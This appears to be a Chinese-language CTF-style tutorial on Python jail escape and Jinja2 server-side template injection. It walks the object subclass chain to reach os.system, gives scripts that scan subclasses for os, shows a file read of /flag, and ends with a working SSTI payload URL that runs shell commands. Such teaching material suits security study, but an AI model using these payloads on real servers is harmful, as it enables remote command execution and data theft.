ssti 和 jail除去渲染部分其实利用的是一样的,都是寻找执行链条
这里常用用来寻找的几个方法分别为
1 | __class__ 返回类型所属的对象 |
这里我们用一个最基础的str,也就是字符来取他的类
1 | >>> ''.__class__ |
可以看到他的基础class
(类)是str
此时我们的目的是通过访问他str
,再去拿到他的爹,也就是一个正黄旗带通天纹的'object'
也就是所有东西的祖宗,一个最原始的对象
object,str是由他衍生的(或者说是继承自object),所以我们可以通过下面这个方式先看下他的基类都有哪些,这里他返回的是元组
1 | >>> ''.__class__.__bases__ |
这里''
所属的str
的基类就是object一个
所以我们可以通过下标,直接引用object
1 | >>> ''.__class__.__bases__[0] |
此刻我们就拿到了基类,爹中爹object
但我们怎么使用呢(x)
首先我们对object进行一个__subclasses__()
__subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
我们可以通过subclasses
拿到他的子类
一个比较典型的例子
摘自:https://blog.csdn.net/Suixing_yuan/article/details/104653691
1 | class X(object):pass |
可以看到他的父类class X
,其下A B B
都是继承自X
,所以这里可以通过X.__subclasses__()
进行输出他的所有子类。
但是它只能显示直系的子类,如果子类又被拿去继承,那他将无法直接通过__subclasses__
1 | class Foo(object): pass |
不过可以通过递归子类的形式再看孙类,如此递归下去子子孙孙延绵不断(x
1 | def all_subclasses(cls): |
所以我们进行一个__subclasses__()
的查看
1 | ''.__class__.__bases__[0].__subclasses__() |
可以看到object
他的子类就肥肠多了,那我们怎么找到能用的呢!
方法一:人脑超算
于短短的几千个小对象中,一眼发现在火星时候就经常利用的对象,并且通过脑里的寄存器直接算出位置。
我曾经在母星的时候就经常使用_GeneratorContextManagerBase
所以一眼就在里面看到了它,并通过寄存器拿到了他的下标是188(x)
1 | <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, `<class 'contextlib._GeneratorContextManagerBase'><----这个, <class 'contextlib._BaseExitStack'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, |
验证一下
1 | >>> ''.__class__.__bases__[0].__subclasses__()[188].__name__ |
可以说是非常成功了
然后再将其实例化,所以这里需要__init__
一下,直接取做一个实例
再通过__globals__
,看她下面的可用方法或函数
在这里,“主要”是通过其中下面这种上层定义时所引用的
1 | 在Python中,__globals__属性中的函数是通过以下步骤: |
所以我们可以在其中找到各类函数和方法.
因为知道他这里有os
库,所以直接进行一个引得用
1 | >>> ''.__class__.__bases__[0].__subclasses__()[188].__init__.__globals__["os"].system("id") |
因为这种方式比较考验天赋,所以不太建议使用,因为每个版本的都有差异,所以死记硬数不太荔枝。
方法二:jio本跑
因为只有在拿到挨个执行:基类-》实例化-》查询globals,找目标方法太累,所以可以通过写脚本轮询查找来处理
1 | for j,i in enumerate(''.__class__.__bases__[0].__subclasses__()): |
这里我们通过枚举每一个子类的全局变量内的列表来进行寻找os
方法,最终找到仨
当然如果懒的话也可以直接执行
1 | for j,i in enumerate(''.__class__.__bases__[0].__subclasses__()): |
所以就拿到了我们要用的,当然这里根据自己的需求寻找目标方法,不一定是os
也不一定非要到”globals”,有的比如python3的fileloader
,需要注意的我的3.11需要用__dict__
来引用..
1 | ''.__class__.__bases__[0].__subclasses__()[121].__dict__["get_data"](0,"/flag") |
找函数的话害有一种方式是通过识别__init__
中的"function"
或者去除带有“wrapper”
的,再筛选os
关键字
jinja 2
中将变量转换成如str可以使用values| string
所以就可以构造这样一个
1 | http://192.168.221.138:1234/?name={% for i in ''.__class__.__bases__[0].__subclasses__()[0:200] %}{% if "function" in i.__init__| string and "os" in i.__init__.__globals__ %}{{i.__init__.__globals__["os"].popen("ls").read()}}{%endif%}{%endfor%} |